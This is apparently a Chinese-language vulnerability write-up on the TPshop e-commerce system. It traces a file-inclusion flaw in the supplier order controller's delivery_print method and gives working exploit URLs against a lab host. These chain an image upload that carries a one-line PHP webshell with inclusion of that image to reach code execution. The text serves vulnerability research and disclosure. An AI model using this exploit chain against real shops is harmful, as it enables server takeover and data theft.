TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。
跟踪到/Application/supplier/Controller/Order.php中的delivery_print、order_print方法
531 Line: 从外部获取参数为template的值,默认值为print并赋给$template
532 Line: 调用基类中的fetch方法,并将$template传入,$template为模板文件512 Line: 从外部获取参数为template的值,默认值为picing并赋给$template
513 Line: 调用基类中的fetch方法,并将$template传入,$template为模板文件模板参数用户可控,造成本地任意文件包含漏洞,系统没有append方法,所以只有delivery_print方法可以触发漏洞
http://172.16.209.129:8084/supplier/order/delivery_print?template=1
http://172.16.209.129:8084/supplier/order/delivery_print?template=1.php
由上可知当不带后缀名的情况下,程序会自动添加上路径及后缀,当带有后缀的情况下程序不会加上路径
读取一下根目录下的robots.txt
http://172.16.209.129:8084/supplier/order/delivery_print?template=robots.txt
用户个人资料修改处上传图片
http://172.16.209.129:8084/Home/User/info.html
选择一张没有带特殊符号的图片进行上传,加上一句话代码
http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo();
成功引发了代码执行